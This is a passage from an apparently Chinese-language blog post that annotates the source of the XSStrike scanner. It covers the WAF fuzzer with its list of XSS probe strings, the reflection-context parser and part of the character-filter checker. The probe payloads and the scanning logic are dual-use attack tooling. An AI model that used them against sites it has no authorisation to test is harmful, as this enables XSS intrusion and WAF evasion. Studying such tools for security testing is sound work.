encoding):</h4><h4 id="结构图:-2"><a href="#结构图:-2" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="4.png" alt="1"></p><h4 id="检测规则:-3"><a href="#检测规则:-3" class="headerlink" title="检测规则:"></a>检测规则:</h4><p>替换xsschecker为敏感payload,检测过滤情况</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">fuzzes = ( <span class="comment"># Fuzz strings to test WAFs</span></span><br><span class="line"> <span class="string">'<test'</span>, <span class="string">'<test//'</span>, <span class="string">'<test>'</span>, <span class="string">'<test x>'</span>, <span class="string">'<test x=y'</span>, <span class="string">'<test x=y//'</span>,</span><br><span class="line"> <span class="string">'<test/oNxX=yYy//'</span>, <span class="string">'<test oNxX=yYy>'</span>, <span class="string">'<test onload=x'</span>, <span class="string">'<test/o%00nload=x'</span>,</span><br><span class="line"> <span class="string">'<test sRc=xxx'</span>, <span class="string">'<test data=asa'</span>, <span class="string">'<test data=javascript:asa'</span>, <span class="string">'<svg x=y>'</span>,</span><br><span class="line"> <span class="string">'<details x=y//'</span>, <span class="string">'<a href=x//'</span>, <span class="string">'<emBed x=y>'</span>, <span class="string">'<object x=y//'</span>, <span class="string">'<bGsOund sRc=x>'</span>,</span><br><span class="line"> <span class="string">'<iSinDEx x=y//'</span>, <span class="string">'<aUdio x=y>'</span>, <span class="string">'<script x=y>'</span>, <span class="string">'<script//src=//'</span>, <span class="string">'">payload<br/attr="'</span>,</span><br><span class="line"> <span class="string">'"-confirm``-"'</span>, <span class="string">'<test ONdBlcLicK=x>'</span>, <span class="string">'<test/oNcoNTeXtMenU=x>'</span>, <span class="string">'<test OndRAgOvEr=x>'</span>)</span><br></pre></td></tr></table></figure><p>查看fuzz参数在response的回显情况来判断,waf是否拦截。不拦截则回显<code>[passed] fuzz</code>。</p><h4 id="源码:-3"><a href="#源码:-3" class="headerlink" title="源码:"></a>源码:</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> copy</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> randint</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> unquote</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> core.colors <span class="keyword">import</span> end, red, green, yellow</span><br><span class="line"><span class="keyword">from</span> core.config <span class="keyword">import</span> fuzzes, xsschecker</span><br><span class="line"><span class="keyword">from</span> core.requester <span class="keyword">import</span> requester</span><br><span class="line"><span class="keyword">from</span> core.utils <span class="keyword">import</span> replaceValue, counter</span><br><span class="line"><span class="keyword">from</span> core.log <span class="keyword">import</span> setup_logger</span><br><span class="line"></span><br><span class="line">logger = setup_logger(__name__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 替换xsschecker为敏感payload,检测过滤情况</span></span><br><span class="line"><span class="comment"># fuzzes = ( # Fuzz strings to test WAFs</span></span><br><span class="line"><span class="comment"># '<test', '<test//', '<test>', '<test x>', '<test x=y', '<test x=y//',</span></span><br><span class="line"><span class="comment"># '<test/oNxX=yYy//', '<test oNxX=yYy>', '<test onload=x', '<test/o%00nload=x',</span></span><br><span class="line"><span class="comment"># '<test sRc=xxx', '<test data=asa', '<test data=javascript:asa', '<svg x=y>',</span></span><br><span class="line"><span class="comment"># '<details x=y//', '<a href=x//', '<emBed x=y>', '<object x=y//', '<bGsOund sRc=x>',</span></span><br><span class="line"><span class="comment"># '<iSinDEx x=y//', '<aUdio x=y>', '<script x=y>', '<script//src=//', '">payload<br/attr="',</span></span><br><span class="line"><span class="comment"># '"-confirm``-"', '<test ONdBlcLicK=x>', '<test/oNcoNTeXtMenU=x>', '<test OndRAgOvEr=x>')</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># 查看fuzz在response的回显情况来判断,waf是否拦截。不拦截则回显[passed] fuzz</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fuzzer</span>(<span class="params">url, params, headers, GET, delay, timeout, WAF, encoding</span>):</span></span><br><span class="line"> <span class="keyword">for</span> fuzz <span class="keyword">in</span> fuzzes:</span><br><span class="line"> <span class="keyword">if</span> delay == <span class="number">0</span>:</span><br><span class="line"> delay = <span class="number">0</span></span><br><span class="line"> <span class="comment"># 生成sleep时间</span></span><br><span class="line"> t = delay + randint(delay, delay * <span class="number">2</span>) + counter(fuzz)</span><br><span class="line"> sleep(t)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">if</span> encoding:</span><br><span class="line"> <span class="comment"># unquote将url编码转为实体</span></span><br><span class="line"> fuzz = encoding(unquote(fuzz))</span><br><span class="line"> <span class="comment"># xsschecker为标识,这里采用fuzz值替换</span></span><br><span class="line"> data = replaceValue(params, xsschecker, fuzz, copy.deepcopy)</span><br><span class="line"> <span class="comment"># response结果</span></span><br><span class="line"> response = requester(url, data, headers, GET, delay/<span class="number">2</span>, timeout)</span><br><span class="line"> <span class="comment"># 尝试延时测试,waf拦截时间</span></span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> logger.error(<span class="string">'WAF is dropping suspicious requests.'</span>)</span><br><span class="line"> <span class="keyword">if</span> delay == <span class="number">0</span>:</span><br><span class="line"> logger.info(<span class="string">'Delay has been increased to %s6%s seconds.'</span> % (green, end))</span><br><span class="line"> delay += <span class="number">6</span></span><br><span class="line"> limit = (delay + <span class="number">1</span>) * <span class="number">50</span></span><br><span class="line"> timer = -<span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> timer < limit:</span><br><span class="line"> logger.info(<span class="string">'\rFuzzing will continue after %s%i%s seconds.\t\t\r'</span> % (green, limit, end))</span><br><span class="line"> limit -= <span class="number">1</span></span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requester(url, params, headers, GET, <span class="number">0</span>, <span class="number">10</span>)</span><br><span class="line"> logger.good(<span class="string">'Pheww! Looks like sleeping for %s%i%s seconds worked!'</span> % (</span><br><span class="line"> green, ((delay + <span class="number">1</span>) * <span class="number">2</span>), end))</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> logger.error(<span class="string">'\nLooks like WAF has blocked our IP Address. Sorry!'</span>)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">if</span> encoding:</span><br><span class="line"> fuzz = encoding(fuzz)</span><br><span class="line"> <span class="comment"># fuzz字符串在response。回显fuzz pass。该字符串waf不拦截</span></span><br><span class="line"> <span class="keyword">if</span> fuzz.lower() <span class="keyword">in</span> response.text.lower(): <span class="comment"># if fuzz string is reflected in the response</span></span><br><span class="line"> result = (<span class="string">'%s[passed] %s'</span> % (green, end))</span><br><span class="line"> <span class="comment"># if the server returned an error (Maybe WAF blocked it)</span></span><br><span class="line"> <span class="keyword">elif</span> <span class="built_in">str</span>(response.status_code)[:<span class="number">1</span>] != <span class="string">'2'</span>:</span><br><span class="line"> result = (<span class="string">'%s[blocked] %s'</span> % (red, end))</span><br><span class="line"> <span class="keyword">else</span>: <span class="comment"># if the fuzz string was not reflected in the response completely</span></span><br><span class="line"> result = (<span class="string">'%s[filtered]%s'</span> % (yellow, end))</span><br><span class="line"> <span class="comment"># 回显字符串拦截情况</span></span><br><span class="line"> logger.info(<span class="string">'%s %s'</span> % (result, fuzz))</span><br></pre></td></tr></table></figure><h2 id="4-反射xss检测分析"><a href="#4-反射xss检测分析" class="headerlink" title="4.反射xss检测分析"></a>4.反射xss检测分析</h2><p>xsstrike的反射xss检测,主要涉及三个方法。由scan.py#scan统一调用生成检测结果集合。然后交由<code>core/generator.py#generator</code>根据规则生成payload。</p><p>htmlParser.py,filterChecker.py,checker.py。htmlParser.py通过解析其中xsschecker的回显细节,来判断产生反射xss的风险点,最后返回一个databases集合。filterChecker.py主要调用checker.py来判断<code><,>,-->,</scRipT/>,&lt;</code>等特殊符号的过滤情况,根据过滤情况来打分,将获取的分数添加到occurences集合score中。<code>'score': {'<': 100, '"': 100, '>': 100}}}</code>。</p><h3 id="4-1-htmlParser-py"><a href="#4-1-htmlParser-py" class="headerlink" title="4.1 htmlParser.py"></a>4.1 htmlParser.py</h3><h4 id="函数:def-htmlParser-response-encoding"><a href="#函数:def-htmlParser-response-encoding" class="headerlink" title="函数:def htmlParser(response, encoding):"></a>函数:def htmlParser(response, encoding):</h4><h4 id="结构图:-3"><a href="#结构图:-3" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="1-1369888.png" alt="1"></p><h4 id="实现细节:"><a href="#实现细节:" class="headerlink" title="实现细节:"></a>实现细节:</h4><p>response为携带xsschecker参数请求产生的响应<br>通过解析其中xsschecker的回显细节,来判断产生反射xss的风险点<br>最后返回一个database 集合<br>database映射包含三个元素position,context,details<br> # position记录位置,第几个 <code>'position': 162</code><br> # context记录标签类型,有script/attribute/html/comment等类型。<code>'context': 'attribute'</code></p><p> Script:表示回显点在<code><script></code>中。attribute:表示回显点在<>标签中。html:表示回显点在html文本中。comment:表示回显点在注释中</p><p> # —script表示回显点在<code><script></code>中,attribute表示回显点在<>标签中,html表示在清除了注释的html文本中,comment表示在注释中<br> # details 详细描述,<code>{'tag': 'link', 'type': 'value', 'quote': '"', 'value': 'v3dm0s', 'name': 'rel'}</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> core.config <span class="keyword">import</span> badTags, xsschecker</span><br><span class="line"><span class="keyword">from</span> core.utils <span class="keyword">import</span> isBadContext, equalize, escaped, extractScripts</span><br><span class="line"></span><br><span class="line"><span class="comment"># response为携带xsschecker参数请求产生的响应</span></span><br><span class="line"><span class="comment"># 通过解析其中xsschecker的回显细节,来判断产生反射xss的风险点</span></span><br><span class="line"><span class="comment"># 最后返回一个database 集合</span></span><br><span class="line"><span class="comment"># database映射包含三个元素position,context,details</span></span><br><span class="line"><span class="comment"># # position记录位置,第几个 'position': 162</span></span><br><span class="line"><span class="comment"># # context记录标签类型,有script/attribute等类型 'context': 'attribute'</span></span><br><span class="line"><span class="comment"># # details 详细描述,{'tag': 'link', 'type': 'value', 'quote': '"', 'value': 'v3dm0s', 'name': 'rel'}</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">htmlParser</span>(<span class="params">response, encoding</span>):</span></span><br><span class="line"> rawResponse = response <span class="comment"># raw response returned by requests</span></span><br><span class="line"> response = response.text <span class="comment"># response content</span></span><br><span class="line"> <span class="comment"># if使用了encoding,则将编码后的xsschecker,替换为没有编码的</span></span><br><span class="line"> <span class="keyword">if</span> encoding: <span class="comment"># if the user has specified an encoding, encode the probe in that</span></span><br><span class="line"> response = response.replace(encoding(xsschecker), xsschecker)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 获取响应中存在多少个xsschecker</span></span><br><span class="line"> reflections = response.count(xsschecker)</span><br><span class="line"> position_and_context = {}</span><br><span class="line"> environment_details = {}</span><br><span class="line"> <span class="comment"># 清除response中的注释</span></span><br><span class="line"> clean_response = re.sub(<span class="string">r'<!--[.\s\S]*?-->'</span>, <span class="string">''</span>, response)</span><br><span class="line"> script_checkable = clean_response</span><br><span class="line"> <span class="comment"># extractScripts获取script中的内容,然后遍历</span></span><br><span class="line"> <span class="keyword">for</span> script <span class="keyword">in</span> extractScripts(script_checkable):</span><br><span class="line"> <span class="comment"># 在script内容中搜索xsschecker,并返回结果迭代器</span></span><br><span class="line"> occurences = re.finditer(<span class="string">r'(%s.*?)$'</span> % xsschecker, script)</span><br><span class="line"> <span class="keyword">if</span> occurences:</span><br><span class="line"> <span class="comment"># 遍历迭代器</span></span><br><span class="line"> <span class="keyword">for</span> occurence <span class="keyword">in</span> occurences:</span><br><span class="line"> <span class="comment">#</span></span><br><span class="line"> thisPosition = occurence.start(<span class="number">1</span>)</span><br><span class="line"> <span class="comment"># 位置和背景</span></span><br><span class="line"> position_and_context[thisPosition] = <span class="string">'script'</span></span><br><span class="line"> environment_details[thisPosition] = {}</span><br><span class="line"> environment_details[thisPosition][<span class="string">'details'</span>] = {<span class="string">'quote'</span> : <span class="string">''</span>}</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(occurence.group())):</span><br><span class="line"> <span class="comment"># xsschecker拆分为一个个字母</span></span><br><span class="line"> currentChar = occurence.group()[i]</span><br><span class="line"> <span class="comment"># 特殊字符处理</span></span><br><span class="line"> <span class="comment"># 检查输入的xsschecker前后有没有特殊符号</span></span><br><span class="line"> <span class="keyword">if</span> currentChar <span class="keyword">in</span> (<span class="string">'/'</span>, <span class="string">'\''</span>, <span class="string">'`'</span>, <span class="string">'"'</span>) <span class="keyword">and</span> <span class="keyword">not</span> escaped(i, occurence.group()):</span><br><span class="line"> environment_details[thisPosition][<span class="string">'details'</span>][<span class="string">'quote'</span>] = currentChar</span><br><span class="line"> <span class="keyword">elif</span> currentChar <span class="keyword">in</span> (<span class="string">')'</span>, <span class="string">']'</span>, <span class="string">'}'</span>, <span class="string">'}'</span>) <span class="keyword">and</span> <span class="keyword">not</span> escaped(i, occurence.group()):</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> script_checkable = script_checkable.replace(xsschecker, <span class="string">''</span>, <span class="number">1</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(position_and_context) < reflections:</span><br><span class="line"> <span class="comment"># 查找xsschecker 并且在<>中的元素</span></span><br><span class="line"> attribute_context = re.finditer(<span class="string">r'<[^>]*?(%s)[^>]*?>'</span> % xsschecker, clean_response)</span><br><span class="line"> <span class="keyword">for</span> occurence <span class="keyword">in</span> attribute_context:</span><br><span class="line"> match = occurence.group(<span class="number">0</span>)</span><br><span class="line"> thisPosition = occurence.start(<span class="number">1</span>)</span><br><span class="line"> <span class="comment"># 根据空格进行切片</span></span><br><span class="line"> parts = re.split(<span class="string">r'\s'</span>, match)</span><br><span class="line"> tag = parts[<span class="number">0</span>][<span class="number">1</span>:]</span><br><span class="line"> <span class="keyword">for</span> part <span class="keyword">in</span> parts:</span><br><span class="line"> <span class="keyword">if</span> xsschecker <span class="keyword">in</span> part:</span><br><span class="line"> <span class="type">Type</span>, quote, name, value = <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'='</span> <span class="keyword">in</span> part:</span><br><span class="line"> quote = re.search(<span class="string">r'=([\'`"])?'</span>, part).group(<span class="number">1</span>)</span><br><span class="line"> <span class="comment"># 键值</span></span><br><span class="line"> name_and_value = part.split(<span class="string">'='</span>)[<span class="number">0</span>], <span class="string">'='</span>.join(part.split(<span class="string">'='</span>)[<span class="number">1</span>:])</span><br><span class="line"> <span class="comment"># 确定xsschecker在建中还是值中</span></span><br><span class="line"> <span class="keyword">if</span> xsschecker == name_and_value[<span class="number">0</span>]:</span><br><span class="line"> <span class="type">Type</span> = <span class="string">'name'</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="type">Type</span> = <span class="string">'value'</span></span><br><span class="line"> name = name_and_value[<span class="number">0</span>]</span><br><span class="line"> <span class="comment"># 删除value值后面的>,"</span></span><br><span class="line"> value = name_and_value[<span class="number">1</span>].rstrip(<span class="string">'>'</span>).rstrip(quote).lstrip(quote)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># 不含有=,type则等于flag</span></span><br><span class="line"> <span class="type">Type</span> = <span class="string">'flag'</span></span><br><span class="line"> position_and_context[thisPosition] = <span class="string">'attribute'</span></span><br><span class="line"> environment_details[thisPosition] = {}</span><br><span class="line"> environment_details[thisPosition][<span class="string">'details'</span>] = {<span class="string">'tag'</span> : tag, <span class="string">'type'</span> : <span class="type">Type</span>, <span class="string">'quote'</span> : quote, <span class="string">'value'</span> : value, <span class="string">'name'</span> : name}</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(position_and_context) < reflections:</span><br><span class="line"> <span class="comment"># 在清除注释的response中查找xsschecker值</span></span><br><span class="line"> html_context = re.finditer(xsschecker, clean_response)</span><br><span class="line"> <span class="keyword">for</span> occurence <span class="keyword">in</span> html_context:</span><br><span class="line"> thisPosition = occurence.start()</span><br><span class="line"> <span class="keyword">if</span> thisPosition <span class="keyword">not</span> <span class="keyword">in</span> position_and_context:</span><br><span class="line"> <span class="comment"># 在<>标签中没有找到xsschecker,则判断,类型为html</span></span><br><span class="line"> position_and_context[occurence.start()] = <span class="string">'html'</span></span><br><span class="line"> environment_details[thisPosition] = {}</span><br><span class="line"> environment_details[thisPosition][<span class="string">'details'</span>] = {}</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(position_and_context) < reflections:</span><br><span class="line"> <span class="comment"># 在没有清除注释的rsponse中查找注释中的xsschecker,</span></span><br><span class="line"> comment_context = re.finditer(<span class="string">r'<!--[\s\S]*?(%s)[\s\S]*?-->'</span> % xsschecker, response)</span><br><span class="line"> <span class="comment"># 遍历查找到的值</span></span><br><span class="line"> <span class="keyword">for</span> occurence <span class="keyword">in</span> comment_context:</span><br><span class="line"> thisPosition = occurence.start(<span class="number">1</span>)</span><br><span class="line"> <span class="comment"># 找到则追加类型为comment</span></span><br><span class="line"> position_and_context[thisPosition] = <span class="string">'comment'</span></span><br><span class="line"> environment_details[thisPosition] = {}</span><br><span class="line"> environment_details[thisPosition][<span class="string">'details'</span>] = {}</span><br><span class="line"> database = {}</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">sorted</span>(position_and_context):</span><br><span class="line"> database[i] = {}</span><br><span class="line"> database[i][<span class="string">'position'</span>] = i</span><br><span class="line"> database[i][<span class="string">'context'</span>] = position_and_context[i]</span><br><span class="line"> database[i][<span class="string">'details'</span>] = environment_details[i][<span class="string">'details'</span>]</span><br><span class="line"> <span class="comment"># 需要闭合,或者特殊处理才能触发xss的环境</span></span><br><span class="line"> bad_contexts = re.finditer(<span class="string">r'(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\s\S]*(%s)[.\s\S]*</\1>'</span> % xsschecker, response)</span><br><span class="line"> non_executable_contexts = []</span><br><span class="line"> <span class="comment"># 查找到则存储到non_executable_contexts,不可执行上下文</span></span><br><span class="line"> <span class="keyword">for</span> each <span class="keyword">in</span> bad_contexts:</span><br><span class="line"> non_executable_contexts.append([each.start(), each.end(), each.group(<span class="number">1</span>)])</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 将找的的bad_contexts存入 database[key]['details']['badTag']</span></span><br><span class="line"> <span class="keyword">if</span> non_executable_contexts:</span><br><span class="line"> <span class="keyword">for</span> key <span class="keyword">in</span> database.keys():</span><br><span class="line"> position = database[key][<span class="string">'position'</span>]</span><br><span class="line"> badTag = isBadContext(position, non_executable_contexts)</span><br><span class="line"> <span class="keyword">if</span> badTag:</span><br><span class="line"> database[key][<span class="string">'details'</span>][<span class="string">'badTag'</span>] = badTag</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> database[key][<span class="string">'details'</span>][<span class="string">'badTag'</span>] = <span class="string">''</span></span><br><span class="line"> <span class="comment"># 最后返回xsschecker回显的集合</span></span><br><span class="line"> <span class="comment"># position记录位置,第几个 'position': 162</span></span><br><span class="line"> <span class="comment"># context记录标签类型,有script/attribute等类型 'context': 'attribute'</span></span><br><span class="line"> <span class="comment"># details 详细描述,{'tag': 'link', 'type': 'value', 'quote': '"', 'value': 'v3dm0s', 'name': 'rel'}</span></span><br><span class="line"> <span class="keyword">return</span> database</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="4-2-filterChecker-py"><a href="#4-2-filterChecker-py" class="headerlink" title="4.2 filterChecker.py"></a>4.2 filterChecker.py</h3><h4 id="函数:def-filterChecker-url-params-headers-GET-delay-occurences-timeout-encoding"><a href="#函数:def-filterChecker-url-params-headers-GET-delay-occurences-timeout-encoding" class="headerlink" title="函数:def filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):"></a>函数:def filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):</h4><h4 id="结构图:-4"><a href="#结构图:-4" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="2-1369888.png" alt="1"></p><h4 id="实现细节:-1"><a href="#实现细节:-1" class="headerlink" title="实现细节:"></a>实现细节:</h4><p>根据<code>occurences[i]['context'] </code>添加<code><,>,-->,</scRipT/>,&lt;</code>等特殊符号带入参数进行请求判断后端编码情况,并打分<br>将获取的分数添加到occurences集合score中。<code>'score': {'<': 100, '"': 100, '>': 100}}}</code>。</p><h4 id="源码:-4"><a href="#源码:-4" class="headerlink" title="源码:"></a>源码:</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> core.checker <span class="keyword">import</span> checker</span><br><span class="line"></span><br><span class="line"><span class="comment"># 特殊符号过滤检查</span></span><br><span class="line"><span class="comment"># 根据occurences[i]['context'] 添加<,>,-->,</scRipT/>,&lt;等特殊符号带入参数进行请求判断后端编码情况,并打分</span></span><br><span class="line"><span class="comment"># 将获取的分数添加到occurences集合score中。'score': {'<': 100, '"': 100, '>': 100}}}</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">filterChecker</span>(<span class="params">url, params, headers, GET, delay, occurences, timeout, encoding</span>):</span></span><br><span class="line"> <span class="comment"># occurences集合的key。这里结果为一个数字列表</span></span><br><span class="line"> positions = occurences.keys()</span><br><span class="line"> sortedEfficiencies = {}</span><br><span class="line"> <span class="comment"># adding < > to environments anyway because they can be used in all contexts</span></span><br><span class="line"> <span class="comment"># 默认有<,></span></span><br><span class="line"> <span class="comment"># 根据相应的类型添加-->,</scRipT/>,&lt;等</span></span><br><span class="line"> environments = <span class="built_in">set</span>([<span class="string">'<'</span>, <span class="string">'>'</span>])</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(positions)):</span><br><span class="line"> <span class="comment"># 构造一个二维集合,key为数字</span></span><br><span class="line"> sortedEfficiencies[i] = {}</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> occurences:</span><br><span class="line"> <span class="comment"># 评分集合</span></span><br><span class="line"> occurences[i][<span class="string">'score'</span>] = {}</span><br><span class="line"> <span class="comment"># 上下文集合</span></span><br><span class="line"> context = occurences[i][<span class="string">'context'</span>]</span><br><span class="line"> <span class="comment"># 注释中</span></span><br><span class="line"> <span class="keyword">if</span> context == <span class="string">'comment'</span>:</span><br><span class="line"> environments.add(<span class="string">'-->'</span>)</span><br><span class="line"> <span class="comment"># <script>中</span></span><br><span class="line"> <span class="keyword">elif</span> context == <span class="string">'script'</span>:</span><br><span class="line"> environments.add(occurences[i][<span class="string">'details'</span>][<span class="string">'quote'</span>])</span><br><span class="line"> environments.add(<span class="string">'</scRipT/>'</span>)</span><br><span class="line"> <span class="comment"># <>标签中</span></span><br><span class="line"> <span class="keyword">elif</span> context == <span class="string">'attribute'</span>:</span><br><span class="line"> <span class="keyword">if</span> occurences[i][<span class="string">'details'</span>][<span class="string">'type'</span>] == <span class="string">'value'</span>:</span><br><span class="line"> <span class="comment"># html实体编码</span></span><br><span class="line"> <span class="keyword">if</span> occurences[i][<span class="string">'details'</span>][<span class="string">'name'</span>] == <span class="string">'srcdoc'</span>: <span class="comment"># srcdoc attribute accepts html data with html entity encoding</span></span><br><span class="line"> environments.add(<span class="string">'&lt;'</span>) <span class="comment"># so let's add the html entity</span></span><br><span class="line"> environments.add(<span class="string">'&gt;'</span>) <span class="comment"># encoded versions of < and ></span></span><br><span class="line"> <span class="comment"># 都不在则返回默认</span></span><br><span class="line"> <span class="keyword">if</span> occurences[i][<span class="string">'details'</span>][<span class="string">'quote'</span>]:</span><br><span class="line"> environments.add(occurences[i][<span class="string">'details'</span>][<span class="string">'quote'</span>])</span><br><span class="line"></span><br><span class="line"> <span class="comment"># environments是一个根据occurences[i]['context'] 